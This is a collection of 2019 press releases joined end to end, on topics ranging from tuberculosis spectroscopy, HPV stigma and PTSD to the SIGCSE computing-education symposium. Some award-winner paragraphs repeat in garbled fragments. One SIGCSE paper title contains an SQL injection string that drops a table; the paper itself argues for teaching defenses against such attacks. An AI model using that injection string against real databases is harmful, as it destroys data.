"We have an approach here that other countries have found helpful in reaching a marginalized population that faces high rates of mortality," says Kennedy-Hendricks. "A key question now is which jurisdiction will open the first sanctioned safe consumption site in the U.S. Their experience as an early adopter will inform efforts around the country."

###

The study was supported by the Scattergood Foundation.

"Establishing Sanctioned Safe Consumption Sites in the US: Five Jurisdictions Moving the Policy Agenda Forward" was written by Alene Kennedy-Hendricks, Jenna Bluestein, Alex H. Kral, Colleen L. Barry and Susan G. Sherman.A team of physicists from Immanuel Kant Baltic State University suggested a method to quickly identify single antibiotic-resistant bacteria cells that are the agents of tuberculosis. The new method helps find the bacteria and evaluate their resistance to antibiotics without damaging the biological material. The results of the first trial of the method were published in Data in Brief.

Tuberculosis remains one of the main causes of death in the world. According to the World Health Organization, over 1.5 mln people died of it in 2017. Each year the number of those infected with tuberculosis increases by 10 mln. The disease caused by antibiotic-resistant strains of Mycobacterium tuberculosis is the most dangerous. The strains of the Beijing family (named after the city they were first observed in) have also become resistant to many medicinal drugs. Methods of quick identification of drug-resistant bacteria are required both for clinical practice and scientific research. A team of researchers from Immanuel Kant Baltic Federal University together with their colleagues from Saint-Petersburg State Research Institute of Phthisiopulmonology and Saint-Petersburg State University suggested using Raman scattering spectrography to quickly analyze bacterial cells. This method helps identify the composition and structure of the studied material based on the scattering of laser radiation with certain wavelength by its sample. Spectroscopy is a non-invasive method, i.e. the material under study is not subject to any mechanical impact or destruction.

The study materials were provided by Saint-Petersburg State Research Institute of Phthisiopulmonology. The authors used bacterial strains obtained from lung expectorations of tuberculosis patients, as well as from bone tissue samples taken during surgeries. Before the experiments with Raman scattering spectrography the level of drug resistance of the bacteria was determined using standard biological and chemical methods.

To obtain information about the structure of the cells belonging to different strains, the scientists pointed the laser beam at different bacteria during the spectroscopy procedure. The cells of different strains appeared to scatter the light differently because resistance to antibiotics occurs, among other things, due to changes in the composition of bacterial cell wall components. Spectroscopy helped identify differences in the cell walls of drug-resistance and drug-sensitive bacteria.

The materials published by the authors included the images of strain bacterial cultures with different resistance to antibiotics and Raman spectrums typical for them. The information on bacteria from lungs and bone tissue was provided separately.

"The data published by us contains information of spectrums typical for different strains of Mycobacterium tuberculosis. According to the results of the experiment, Raman spectroscopy may be a useful tool for determining the levels of drug resistance in tuberculosis agents," says Andrey Zyubin, a senior research associate at the Scientific and Educational Center "Fundamental and Applied Photonics. Nanophotonics".

###Early-career researchers living and working in Bangladesh, Bolivia, the Gambia, Nepal and Palestine have been recognized for their work in the biological sciences

Washington, DC, February 13, 2019 -- Five researchers have been named winners of the 2019 OWSD-Elsevier Foundation Awards for Early-Career Women Scientists in the Developing World for their research in the biological sciences. The winning scholars from Bangladesh, Bolivia, the Gambia, Nepal and Palestine are being recognized for their accomplishments in environmental microbiology, ethnobotany, clinical pediatrics and epidemiology. The prize also acknowledges the scientists' commitment to leading and mentoring young scientists, and to improving lives and livelihoods in their communities and regions.

"These scientists are performing ground-breaking international-level science, often in circumstances where the deck has been stacked against them," said Jennifer Thomson, President of the Organization for Women in Science for the Developing World (OWSD). "They deserve to be honored and celebrated for their dedication not only to their research, but to creating a better world for people to live in."

The five researchers are:

Tabassum Mumtaz of the Bangladesh Atomic Energy Commission (Asia Pacific region); in environmental microbiology;

Uduak Okomo of the London School of Hygiene & Tropical Medicine in the Gambia (Africa region); in pediatrics and epidemiology;

Narel Paniagua-Zambrana of the National Herbarium of Bolivia and Universidad Mayor de San Andres (Latin America and the Caribbean region); in ethnobotany;

Tista Prasai Joshi of the Nepal Academy of Science and Technology (Asia Pacific region); in environmental microbiology ; and

and Amira Shaheen of An-Najah National University in Palestine (Arab region); in epidemiology.

"Each year, it is inspiring to find out just how much of the research undertaken by our winning scientists focuses on crucial challenges addressed by the UN Sustainable Development Goals: creating sustainable bioplastics in Bangladesh; preserving traditional plant knowledge in Bolivia; reducing disease transmission to newborns in Africa; removing arsenic from water in Nepal; and investigating the health care system response to gender violence in Palestine," said Ylann Schemm, Director of the Elsevier Foundation. "In addition, working with OWSD and the AAAS to celebrate the success of these talented women scientists is both an honor and a joy."

First awarded in 2011, the awards are given in partnership by OWSD and the Elsevier Foundation . OWSD chairs a panel of distinguished scientists to select the winners, and the Elsevier Foundation supports a cash prize for each winner of USD $5,000 and an all-expenses-paid trip to attend the annual meeting of the American Association for the Advancement of Science (AAAS), this year in Washington, D.C., February 13-17, 2019. The five winners will be honored on February 16 at a special breakfast ceremony during the AAAS meeting.

Past OWSD-Elsevier Foundation Award winners have been recognized by their country's presidents and celebrated by local, national and international media. They have received other prestigious awards and fellowships including L'OREAL-UNESCO For Women in Science Fellowships and the British Council Award.

Read more:

About the Awards: https:/ / owsd. net/ awards/ awards

About recent Awardees:

###

Notes for editors

The awards ceremony will take place on February 16, 2019 during the Minority and Women Scientists and Engineers Networking Breakfast from 7:00-9:00 AM in Washington, D.C. at the American Association for the Advancement of Science (AAAS) Annual Meeting.

Reporters wishing to attend the ceremony may contact Domiziana Francescon at +31 610215901 or d.francescon@elsevier.com.

The 2019 winners are:

Tabassum Mumtaz, Bangladesh in Environmental microbiology : For her work on bioconversion of waste byproducts and biomass into more environmentally-friendly compounds. Dr. Mumtaz cultivates bacteria that can turn wastewater and food waste, such as effluents from palm oil production, into sustainable bioplastics. "Winning the OWSD-Elsevier Foundation Award is like receiving an Oscar to me," said Dr. Mumtaz. "This will be a tremendous inspiration to me and to all women scientists in Bangladesh and in the Asia-Pacific region, to dream big and to do research beneficial to the environment and society."

in : For her work on bioconversion of waste byproducts and biomass into more environmentally-friendly compounds. Dr. Mumtaz cultivates bacteria that can turn wastewater and food waste, such as effluents from palm oil production, into sustainable bioplastics. "Winning the OWSD-Elsevier Foundation Award is like receiving an Oscar to me," said Dr. Mumtaz. "This will be a tremendous inspiration to me and to all women scientists in Bangladesh and in the Asia-Pacific region, to dream big and to do research beneficial to the environment and society." Uduak Okomo, the Gambia in Paediatrics and epidemiology: For her work in defining routes of transmission of infections to neonates. Dr. Okomo's research has pointed to hospital-acquired transmission rather than maternal or community acquisition, which contributes to improved control of infections and better planning of health systems and resource distribution, thereby reducing maternal, newborn and child mortality. "Receiving the OWSD-Elsevier Foundation Award is an encouragement to continue my work to improve maternal and newborn survival in Sub-Saharan Africa," said Dr. Okomo. "I hope this award inspires African women scientists in global health to become scientific leaders in their spheres of influence and gives them the courage and confidence to tackle Africa's challenges in global health and development."

in For her work in defining routes of transmission of infections to neonates. Dr. Okomo's research has pointed to hospital-acquired transmission rather than maternal or community acquisition, which contributes to improved control of infections and better planning of health systems and resource distribution, thereby reducing maternal, newborn and child mortality. "Receiving the OWSD-Elsevier Foundation Award is an encouragement to continue my work to improve maternal and newborn survival in Sub-Saharan Africa," said Dr. Okomo. "I hope this award inspires African women scientists in global health to become scientific leaders in their spheres of influence and gives them the courage and confidence to tackle Africa's challenges in global health and development." Narel Paniagua-Zambrana, Bolivia in Ethnobotany : For her work documenting and protecting traditional knowledge of plant use by indigenous populations and local communities, especially in Bolivia. Her work provides local populations with tools to conserve their natural resources and associated traditional knowledge. "Receiving this award makes it possible to highlight the value and importance of making efforts to conserve and protect the traditional knowledge held by the indigenous populations," said Dr. Paniagua-Zambrana. "Local scientific work is not easy, much less in developed countries. This award will allow me to expand my collaboration to make this task easier and more widely shared."

in : For her work documenting and protecting traditional knowledge of plant use by indigenous populations and local communities, especially in Bolivia. Her work provides local populations with tools to conserve their natural resources and associated traditional knowledge. "Receiving this award makes it possible to highlight the value and importance of making efforts to conserve and protect the traditional knowledge held by the indigenous populations," said Dr. Paniagua-Zambrana. "Local scientific work is not easy, much less in developed countries. This award will allow me to expand my collaboration to make this task easier and more widely shared." Tista Prasai Joshi, Nepal in Environmental microbiology : For her research in developing novel metal oxide adsorbents to remove harmful organic and inorganic arsenic compounds efficiently from water. Her work to create more economic and environment friendly techniques for water treatment has had a significant impact on public awareness and accountability of drinking water suppliers in Kathmandu. "Receiving this prestigious award has great value in my scientific career," said Dr. Joshi. "Because of this international recognition, I am more confident, accountable, and motivated to continue my research activities to achieve my goal. It will inspire many younger ladies in this region to achieve more in the advancement of sciences."

in : For her research in developing novel metal oxide adsorbents to remove harmful organic and inorganic arsenic compounds efficiently from water. Her work to create more economic and environment friendly techniques for water treatment has had a significant impact on public awareness and accountability of drinking water suppliers in Kathmandu. "Receiving this prestigious award has great value in my scientific career," said Dr. Joshi. "Because of this international recognition, I am more confident, accountable, and motivated to continue my research activities to achieve my goal. It will inspire many younger ladies in this region to achieve more in the advancement of sciences." Amira Shaheen, Palestine inEpidemiology: For her work investigating health care system responses to gender-based violence in primary and reproductive health services in Palestine. Her research investigates the readiness of health care systems to identify and refer women victims of violence, with the goal of improving identification and referral and bettering the women's situations. "As an epidemiologist, winning the OWSD-Elsevier Foundation Award is further evidence of the importance of putting results into practice in the field of public health," said Dr. Shaheen. "It gives me the courage to further research culturally sensitive issues, and it will motivate young health graduates to enter the field of public health."

Reference sheets for each award winner with a more extensive biography and description of their work are also available upon request.

About OWSD

The Organization for Women in Science for the Developing World (OWSD) provides research training, career development and networking opportunities for women scientists throughout the developing world. Headed by eminent women scientists from the South, OWSD has more than 7,000 members and runs various programmes, including a PhD fellowship programme with over 250 successful graduates from Least Developed Countries and sub-Saharan Africa, as well as an Early Career Women Scientists fellowship programme launched in December 2017. OWSD is the first international forum to unite women scientists from the developing world with the objective of strengthening their role in the development process and promoting their representation in scientific and technological leadership. OWSD is affiliated with The World Academy of Science (TWAS), a programme unit of UNESCO, and is based in Trieste, Italy, with national chapters throughout the developing world. http://www. owsd. net

About The Elsevier Foundation

The Elsevier Foundation provides grants to knowledge centered institutions around the world, with a sustainability focus on innovations in health information, diversity in STM, research in developing countries and technology for development. Since 2006, the Foundation has awarded more than 100 grants worth millions of dollars to non-profit organizations working in these fields. Through gift-matching, the Foundation also supports the efforts of Elsevier employees to play a positive role in their local and global communities. The Elsevier Foundation is a corporate not-for-profit 501(c)(3), funded by Elsevier, a global information analytics business. http://www. elsevierfoundation. org

About Elsevier

Elsevier is a global information analytics business that helps institutions and professionals advance healthcare, open science and improve performance for the benefit of humanity. Elsevier provides digital solutions and tools in the areas of strategic research management, R&D performance, clinical decision support and professional education, including ScienceDirect, Scopus, SciVal, ClinicalKey and Sherpath. Elsevier publishes over 2,500 digitized journals, including The Lancet and Cell, more than 38,000 e-book titles and many iconic reference works, including Gray's Anatomy. Elsevier is part of RELX Group, a global provider of information and analytics for professionals and business customers across industries. http://www. elsevier. com

Media contact

Domiziana Francescon, Program Officer

Elsevier Foundation

+31 610215901

d.francescon@elsevier.com

Erin Johnson, Communications Officer

OWSD

+39 040 2240 387

ejohnson@owsd.netThe social stigmas and myths surrounding the human papilloma virus (HPV) could make women anxious, including raising fears about their partners' fidelity and putting them off going for cervical screening, according to research presented at Cancer Research UK's Early Diagnosis Conference in Birmingham today (Wednesday).

A survey of more than 2,000 women by Jo's Cervical Cancer Trust showed that the wide range of stigmas associated with HPV included shame, fear and promiscuity. Almost 40% said they would be worried about what people thought of them if told they had HPV and more than 40% would worry their partner had been unfaithful.

Seven in 10 women would be scared to hear they had HPV and two thirds would worry it meant they had cancer.

Many women who responded did not understand the link between HPV and cancer. One in three did not know it can cause cervical cancer and almost all of them did not know it can cause throat or mouth cancer.

Researchers found that only 15 per cent of those questioned realised HPV was commonplace. Eight in 10 women will have some form of HPV infection in their lifetime but only very few who have specific high-risk types of the virus will go on to develop cancer.

Sara Hiom, Cancer Research UK's director of early diagnosis, said: "It's really concerning that there's so much misunderstanding about HPV. It's a very common virus and most of the time, it will sit dormant and not cause a problem.

"Testing for the virus is a better way to identify people who may have changes in their cervix, which, if left untreated, could develop into cervical cancer. So HPV screening is an excellent way to prevent cervical cancer from developing in the first place.

"Every woman has the choice whether to go for screening but busting the myths and removing the stigmas surrounding HPV is vital to ensure people feel more confident to book and turn up for their cervical screening appointment."

This research comes as England prepares to replace the existing cervical cancer screening test, which looks for abnormal cells, with HPV screening later this year.*

People taking part in cervical screening won't notice anything different, but the new test can more accurately identify women who may be more at risk of developing abnormal cervical cells or cervical cancer.

Right now, samples taken during screening are sent to be analysed under a microscope, to look for abnormal cell changes that could lead to cancer.

When HPV screening is introduced, samples will first be tested for the presence of HPV. If the test is positive, the sample will then be analysed by specialists under the microscope to look for cell changes. This has been shown to be much more effective at preventing cancer.

Presenting at Cancer Research UK's Early Diagnosis conference, Robert Music, Chief Executive of Jo's Cervical Cancer Trust, said: "We must address the level of misunderstanding that exists around HPV. Most people will get the virus in their lifetime so it is worrying to see such high levels of fear or shame associated with it. With the screening programme moving to testing for HPV first, which is to be celebrated, we must normalise the virus to ensure people fully understand what it means to have it."

Cancer Research UK helped prove the value of cervical screening, which now prevents thousands of deaths from cervical cancer each year.

###

For media enquiries contact Fiona Dennehy in the Cancer Research UK press office on 07918 695 599/ 020 3469 8300 or, out of hours, on 07050 264 059.

Notes to editor:

* HPV screening has already been introduced in Wales and will be rolled out in Scotland at the beginning of next year.

About Jo's Cervical Cancer Trust

The UK's only dedicated charity offering support and information to women of all ages and their loved ones affected by cervical cancer and cervical abnormalities. The National Helpline is on 0808 802 8000.

About HPV

For more information about the virus, including how it is contracted and it's link to cancer: https:/ / www. jostrust. org. uk/ about-cervical-cancer/ hpv or https:/ / www. jostrust. org. uk/ video/ facts-about-hpv-subtitles

About Cancer Research UK

Cancer Research UK is the world's leading cancer charity dedicated to saving lives through research.

Cancer Research UK's pioneering work into the prevention, diagnosis and treatment of cancer has helped save millions of lives.

Cancer Research UK receives no funding from the UK government for its life-saving research. Every step it makes towards beating cancer relies on vital donations from the public.

Cancer Research UK has been at the heart of the progress that has already seen survival in the UK double in the last 40 years.

Today, 2 in 4 people survive their cancer for at least 10 years. Cancer Research UK's ambition is to accelerate progress so that by 2034, 3 in 4 people will survive their cancer for at least 10 years.

Cancer Research UK supports research into all aspects of cancer through the work of over 4,000 scientists, doctors and nurses.

Together with its partners and supporters, Cancer Research UK's vision is to bring forward the day when all cancers are cured.In recent years, calls to preserve greater swaths of the Earth's land- and seascapes have grown. In particular, numerous conservationists have called for the protection of half of the planet's surface, a bold initiative that would preserve much of the world's existing biodiversity and ecosystem function. However, the path to such a "half-Earth" preservation model lies largely in uncharted territory, with many potential pitfalls along the way.

Writing in BioScience, Dr. Thomas Campagnaro of the University of Padova, in Italy, and his colleagues elucidate one possible route to better landscape preservation. In their article, the authors describe Natura 2000, the world's largest conservation network. Based in the European Union, the network relies on strong governance, flexible designations, and scientific expertise to produce reliable conservation outcomes.

In this episode of BioScience Talks, Dr. Campagnaro is joined by coauthors Tommaso Sitzia, also of the University of Padova, and Erle Ellis, of the University of Maryland, Baltimore County, to discuss the network and the prospects for scaling it up to a planetary scale.

###

To hear the whole discussion, visit this link for this latest episode of the BioScience Talks podcast.

The BioScience Talks podcast features discussions of topical issues related to the biological sciences.

BioScience, published monthly by Oxford Journals, is the journal of the American Institute of Biological Sciences (AIBS). BioScience is a forum for integrating the life sciences that publishes commentary and peer-reviewed articles. The journal has been published since 1964. AIBS is an organization for professional scientific societies and organizations, and individuals, involved with biology. AIBS provides decision-makers with high-quality, vetted information for the advancement of biology and society. Follow BioScience on Twitter @BioScienceAIBS.

Oxford Journals is a division of Oxford University Press. Oxford Journals publishes well over 300 academic and research journals covering a broad range of subject areas, two-thirds of which are published in collaboration with learned societies and other international organizations. The division been publishing journals for more than a century, and as part of the world's oldest and largest university press, has more than 500 years of publishing expertise behind it. Follow Oxford Journals on Twitter @OxfordJournalsDALLAS, Feb. 13, 2019 -- Post-traumatic stress disorder (PTSD) by itself does not explain the increased risk of cardiovascular disease in veterans with this condition. A combination of physical disorders, psychiatric disorders and smoking, that are more common in patients with PTSD, may explain the association, according to new research in Journal of the American Heart Association, the Open Access Journal of the American Heart Association/American Stroke Association.

Researchers examined whether one, or a combination of heart disease risk factors common in those with PTSD, can explain the association between PTSD and cardiovascular disease. They reviewed electronic health records of 2,519 Veterans Affairs (VA) patients diagnosed with PTSD and 1,659 without PTSD. Participants were aged 30-70 (87 percent male; 60 percent white), had no cardiovascular disease diagnoses for 12 months prior and were followed for at least three years.

Researchers found:

Among VA patients, those diagnosed with PTSD were 41 percent more likely to develop circulatory and heart disease than those without PTSD.

Smoking, depression, other anxiety disorders, sleep disorders, Type 2 diabetes, obesity, high blood pressure, and cholesterol, were significantly more prevalent among patients with PTSD than those without.

No single comorbid condition explained the association between PTSD and incident cardiovascular disease, after adjusting for a combination of physical and psychiatric disorders, smoking, sleep disorder, substance use disorders, PTSD was not associated with new cases of cardiovascular disease.

"This suggests there is no single comorbidity or behavior that explains the link between PTSD and cardiovascular disease," said study lead author Jeffrey Scherrer, Ph.D., professor and director, Division of Research in the Department of Family and Community Medicine at the Saint Louis University School of Medicine in Missouri. "Instead, a combination of physical disorders, psychiatric disorders and smoking -- that are more common in patients with PTSD versus without PTSD -- appear to explain the association between PTSD and developing cardiovascular disease."

Researchers cautioned that the results may not be generalized to patients older than 70 or to non-veteran populations. In addition, the study did not measure lifetime cardiovascular disease risk; therefore, the association between PTSD and risk of cardiovascular disease over many decades may differ from the present results.

"For veterans, and likely non-veterans, heart disease prevention efforts should focus on helping patients reduce weight, control high blood pressure, cholesterol, Type 2 diabetes, depression, anxiety disorders, sleep problems, substance abuse and smoking," Scherrer said. "That is a long list, and for patients with many of these conditions it is challenging yet important to manage all of them."

"Recognizing that PTSD does not preordain cardiovascular disease may empower patients to seek care to prevent and/or manage CVD risk factors," Scherrer said.

###

Co-authors are Joanne Salas, M.P.H.; Beth E. Cohen, M.D., M.Sc.; Paula P. Schnurr, Ph.D.; F. David Schneider, M.D., M.S.P.H.; Kathleen M. Chard, Ph.D.; Peter Tuerk, Ph.D.; Matthew J. Friedman, M.D., Ph.D.; Sonya B. Norman, Ph.D.; Carissa van den Berk-Clark, Ph.D.; and Patrick Lustman, Ph.D. Author disclosures are listed on the manuscript.

The National Heart Lung and Blood Institute funded the study.

Additional Resources:

Available multimedia is on right column of release link - https:/ / newsroom. heart. org/ news/ ptsd-alone-didnt-increase-heart-disease-risk-in-veterans-with-ptsd?preview= 333a92383128f7d9cb25c4115fca8d77

After Feb. 13, view the manuscript online.

PTSD linked to increased complications and death a year after cardiac arrest

Severe war injuries and PTSD can impact hypertension risk

Follow AHA/ASA news on Twitter @HeartNews

Statements and conclusions of study authors published in American Heart Association scientific journals are solely those of the study authors and do not necessarily reflect the association's policy or position. The association makes no representation or guarantee as to their accuracy or reliability. The association receives funding primarily from individuals; foundations and corporations (including pharmaceutical, device manufacturers and other companies) also make donations and fund specific association programs and events. The association has strict policies to prevent these relationships from influencing the science content. Revenues from pharmaceutical and device corporations and health insurance providers are available at https:/ / www. heart. org/ en/ about-us/ aha-financial-information .

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The American Heart Association is a leading force for a world of longer, healthier lives. With nearly a century of lifesaving work, the Dallas-based association is dedicated to ensuring equitable health for all. We are a trustworthy source empowering people to improve their heart health, brain health and well-being. We collaborate with numerous organizations and millions of volunteers to fund innovative research, advocate for stronger public health policies, and share lifesaving resources and information. Connect with us on heart.org, Facebook, Twitter or by calling 1-800-AHA-USA1.Ubolratana Mahidol, the king's sister, was the first choice of the Thai Raksa Chart Party. The party now risks being dissolved: it has dragged the monarchy into politics. The decision is not yet final and discussions will continue today.

Bangkok (AsiaNews / Agencies) - After the exclusion from the Prime Minister's race decided by the Election Commission, Princess Ubolratana Mahidol (photo) - sister of King Maha Vajiralongkorn - apologizes for the "problems" he candidacy has caused. On March 24, the country will face the first general elections since the military overthrew the administration of Yingluck Shinawatra, in May five years ago.

"I am sorry that my sincere intention to work for the country and the Thai people has caused similar problems, which should not have happened in this era," reads the note released last night online by the princess.

Hours before, the Electoral Commission had published the official list of candidates for the elections, where the name of 67-year-old Ubolratana Mahidol did not appear. She had been the only choice of the Thai Raksa Chart Party. Members of the royal family should be "above politics" and therefore cannot "hold any office", the government agency declared.

On February 8th, just a few hours after the announcement of the candidacy, King Maha Vajiralongkorn had read a declaration on the state radio in which he stated: "The involvement, in any way, of a high level member of the royal family in politics is in conflict with the traditions, customs and culture of the country. Therefore, it is considered extremely inappropriate".

Meanwhile, local media report that the Electoral Commission is willing to ask the Constitutional Court to dissolve the Thai Raksa Chart, accused of dragging the monarchy into politics. The decision is not yet final and discussions will continue today. If the court were in agreement, the 13 party leaders would be excluded from politics  in voting and in candidacies - for 10 years or for life.

The Thai Raksa Chart is a loyal party to the still influential Shinawatra family, which for years has dominated the Thai political scene. The current Prime Minister of the country and former head of the army, Prayuth Chan-ocha, will run as a candidate for the pro-military Palang Pracharat. Analysts say that in the next election the main clash will be between the latter political formation and the supporters of Thaksin Shinawatra, the communications tycoon of overthrown by a coup in 2006 and forced into exile.The ACM Special Interest Group on Computer Science Education (SIGCSE) will hold its 50th annual SIGCSE Technical Symposium in Minneapolis, MN, from February 27 to March 2, 2019. SIGCSE is the largest computing education conference in the world, and will attract more than 1,500 researchers, educators, practitioners, and others interested in improving computing education in grades K-12, two-year colleges, and higher education settings.

The SIGCSE program is designed to reflect the most pressing issues and exciting innovations in the field. Some of the presentations tackle practical considerations faced by educators, such as how to effectively assess student work in the face of increasingly large class sizes. Other presentations address how to meet the challenge of student demand for courses in emerging areas such as artificial intelligence and cybersecurity. Symposium Program Co-Chairs Sarah Heckman, of North Carolina State University, and Jian Zhang, of Texas Woman's University, along with a team of track chairs and reviewers created a program that showcases research demonstrating the efficacy of educational interventions, experience reports from practitioners, and model curricula for emerging areas like data science.

"Our 2019 program reflects both the significance of a 50th Symposium, as well the growing centrality of computer science at all levels of education," explains Symposium General Co-Chair Elizabeth K. Hawthorne, of Union County College, New Jersey. "Those exploring the 2019 program will see that we have continued our tradition of presenting leading-edge research from around the world on improved and scalable pedagogies. At the same time, there are ample offerings that address the hottest trends in the field--such as data science and cybersecurity."

Added Symposium General Co-Chair Manuel A. Perez-Quinones, of University of North Carolina at Charlotte, "The 2019 program also reflects the SIGCSE community's interest in broadening participation in computing," he said. "This includes several presentations on attracting and retaining more representation from women and other underrepresented groups--as well as innovative approaches to make computing accessible for people with disabilities."

SIGCSE 2019 HIGHLIGHTS

Keynotes

"Pursuing the Dream: A 50-Year Perspective on American Society, Technology, and Inclusion in Computing"

Freeman A. Hrabowski, III, University of Maryland, Baltimore County

In this talk, Hrabowski, President, University of Maryland, Baltimore County, will explore the ways in which rapid and dramatic demographic and technological changes--and the interplay of technology, education, and inclusion over the past 50 years--should shape the future of work in higher education. Emphasizing themes from his TED talk on student success, he focuses on the importance of high expectations and hard work, building community among students, faculty engagement with students, and rigorous assessment of what works.

"A Top-Ten List for 50-50"

Gloria Townsend, DePauw University

Townsend, Chair of DePauw University's Computer Science Department, will discuss how her university has leveraged lessons learned from SIGCSE--as well as best practices imparted by the ACM Council on Women in Computing--to achieve the goal of awarding 47 percent of its computer science undergraduate degrees to women. Townsend will provide a rapid-fire countdown of 10 of the university's most effective strategies. Concurrent with her keynote address, Townsend will receive the 2019 SIGCSE Award for Lifetime Service to the Computer Science Education Community.

"Computing Education as a Foundation for 21st Century Literacy"

Mark Guzdial, University of Michigan

In this talk, Guzdial lays out the history of the idea of universal computational literacy, with the goal of teaching programming as a way to express ideas, communicate with others, and understand our world--and what it will take to get there. He will also discuss how the field will be different when it is realized. Guzdial will be recognized with the SIGCSE Award for Outstanding Contribution to CS Education.

"Cybersecurity Is Not a Fad: Why Cyber Is a Game Changer for Computer Science Education"

Blair Taylor, Towson University

First, the bad news: cybersecurity is here to stay. Now, the good news: cybersecurity is here to stay. We continue to need skilled cyber workers. Students like cyber. Cyber can draw more students to Computer Science and create opportunities for Computer Science faculty. In this talk, Taylor will share her experiences building cyber curriculum from the classroom perspective and from her experience working with the National Security Agency to build a National Cybersecurity Curriculum Program.

Papers and Presentations (Partial List)

The full SIGCSE 2019 program is available here.

"CS Education Then and Now: Recollections and Reflections"

Melinda McDaniel, Georgia Institute of Technology; John Cigas, Park University; Briana B. Morrison, University of Nebraska, Omaha; Henry M. Walker, Grinnell College

How has CS education changed since SIGCSE first began in 1968? This panel of presenters, with 135 years of teaching instruction between them, will remind some attendees of what used to be and educate newer members on what life was like pre-internet.

"Community College Transfer Pathways"

Jeffrey Forbes, Duke University; Jumee Song, Siegel Family Endowment; Louise Ann Lyon, Education, Training, and Research; Leslie Maxwell, California State University, Monterey Bay; Cindy S. Tucker, Bluegrass Community and Technical College

This panel will provide an overview of the computing workforce landscape, discuss the role of community colleges to increase the diversity of students in computer science, and share case studies that highlight promising practices for the inclusion of community colleges in the CS educational pathway.

"Wrestling with Retention in the CS Major: Report from the ACM Retention Committee"

Alison Derbenwick Miller, Oracle; Christine Alvarado, University of California, San Diego; Mehran Sahami, Stanford University; Elsa Villa, University of Texas at El Paso; Stuart Zweben, The Ohio State University

This panel focuses on the challenges of collecting and analyzing data relating to retention of students in undergraduate computer science education programs. The panelists will share learnings and recommendations from the final report of the ACM Retention Committee and share their individual perspectives on data collection challenges, promising interventions, and recommendations for actively addressing retention for all students.

"Where Are We Now? Results from a National Study of Computer Science Teachers and Teaching"

Eric R. Banilower, Evelyn M. Gordon, Horizon Research, Inc.

This session will engage participants with results from the National Survey of Science and Mathematics Education (NSSME+) related to computer science education in the US, including: how many, and which, students have access to computer science instruction; who teaches computer science and what pre-service preparation and in-service professional development they have; the nature of computer science instruction; and access to resources, including instructional materials, to support instruction.

"Teaching Professional Morality & Ethics to Undergraduate Computer Science Students through Cognitive Apprenticeships & Case Studies: Experiences in CS-HU 130 'Foundational Values'"

Don Winiecki, Noah Salzman, Boise State University

This experience report describes and details experience in guiding undergraduate computer science students to identify and address issues related to inclusion, diversity and social justice as they occur in computer science education and computer science professions.

"Computer Science Principles for Teachers of Blind and Visually Impaired Students"

Andreas Stefik, University of Nevada, Las Vegas; Richard E. Ladner, University of Washington; William Allee, University of Nevada, Las Vegas; and Sean Mealin, North Carolina State University

Best Paper for Experience Reports and Tools: The authors discuss their efforts to expand and facilitate accessibility to computer science education for blind and visually impaired students. Their efforts to develop a multi-sensory educational infrastructure for the blind community across the US has produced two preliminary results: a suite of auditory and programming tools to facilitate a multi-sensory curriculum, and an empirical study of their first summer workshop with blind students - with encouraging results.

"First Things First: Providing Metacognitive Scaffolding for Interpreting Problem Prompts"

James Prather, Raymond Pettit, Alani Peters, Zachary Albrecht, Krista Masci, Abilene Christian University; Brett A. Becker, University College Dublin; Paul Denny, The University of Auckland; Dastyni Loksa, University of Washington

Best Paper for Research Contribution: Developing metacognitive awareness is crucially important for novice students. We explore a scalable approach, making use of an automated assessment tool, and conduct a controlled experiment to see whether scaffolding the problem-solving process would increase metacognitive awareness and improve student performance. We found that students who received the intervention showed a higher degree of understanding of the problem prompt and were more likely to complete the programming task successfully.

"');DROP TABLE textbooks;-: An Argument for SQL Injection Coverage in Database Textbooks"

Cynthia Taylor, Oberlin College; Saheel Sakharkar, University of Illinois at Chicago

Best Paper for Curriculum Initiatives: SQL injection is a common database exploit which takes advantage of programs that incorrectly incorporate user input into SQL statements. Teaching students how to write parameterized SQL statements is key to preventing this wide-spread attack. We look at the current editions of seven textbooks used at the top 50 US CS programs, and analyze their coverage of SQL injection, use of parameterized queries, and correctness of examples.

###

About the SIGCSE Technical Symposium

The SIGCSE Technical Symposium is SIGCSE's flagship conference. It has been held annually in February or March in the United States since 1970. We look forward to our 50th SIGCSE Symposium in 2019, where we expect over 1500 to attend. The symposium provides a diverse selection of technical sessions and opportunities for learning and interaction.

About SIGCSE

The Special Interest Group on Computer Science Education of the Association for Computing Machinery (ACM SIGCSE) is a community of approximately 2,600 people who, in addition to their specialization within computing, have a strong interest in quality computing education. SIGCSE provides a forum for educators to discuss the problems concerned with the development, implementation, and/or evaluation of computing programs, curricula, and courses, as well as syllabi, laboratories, and other elements of teaching and pedagogy.

About ACM

ACM, the Association for Computing Machinery, is the world's largest educational and scientific computing society, uniting computing educators, researchers and professionals to inspire dialogue, share resources and address the field's challenges. ACM strengthens the computing profession's collective voice through strong leadership, promotion of the highest standards, and recognition of technical excellence. ACM supports the professional growth of its members by providing opportunities for life-long learning, career development, and professional networking.Lakes, rivers and some private wells are becoming saltier, largely thanks to high levels of road salt sprinkled on streets during winter. According to an article in Chemical & Engineering News (C&EN), the weekly newsmagazine of the American Chemical Society, this situation could cause harm to wildlife and humans.

Contributing editor Deirdre Lockwood notes that scientists have found greatly increased amounts of chloride in streams, lakes and rivers over the last few decades. One of the biggest culprits is salt that's deposited onto roads before and during snowstorms. The amount used in the U.S. has grown dramatically from about 4,500 metric tons in the early 1940s to 22 million metric tons now. But salt also comes from sewage, fertilizer runoff, mining operations and deteriorating structures. Not only does all of this salt makes water taste bad, it can corrode plumbing and cause health concerns. It also can affect freshwater organisms and disrupt ecosystems.

Some scientists are calling for the U.S. Environmental Protection Agency to start regulating salts. Others are simply trying to bring more attention to this issue. And some municipalities are already implementing changes. In Madison, Wisconsin, crews apply brine, about a 20 percent salt water solution, onto roads before a snowstorm hits. With this approach, they have used about 70 percent less road salt. And the village of Lake George, New York, has reduced road salt application by about 30 percent with brine treatment and new, more effective snow plows.

###

The article, "For healthier lakes, rivers, and drinking water, hold the salt," is freely available here.

The American Chemical Society, the world's largest scientific society, is a not-for-profit organization chartered by the U.S. Congress. ACS is a global leader in providing access to chemistry-related information and research through its multiple databases, peer-reviewed journals and scientific conferences. ACS does not conduct research, but publishes and publicizes peer-reviewed scientific studies. Its main offices are in Washington, D.C., and Columbus, Ohio.

To automatically receive news releases from the American Chemical Society, contact newsroom@acs.org.

Follow us on Twitter | FacebookWASHINGTON, D.C. - Boston University, the University of California, Davis and the University of Massachusetts Lowell are being recognized by the American Association for the Advancement of Science (AAAS) for their commitment to diversity, equity and inclusion in STEM and furthering positive change in their institution's relevant policies and practice.

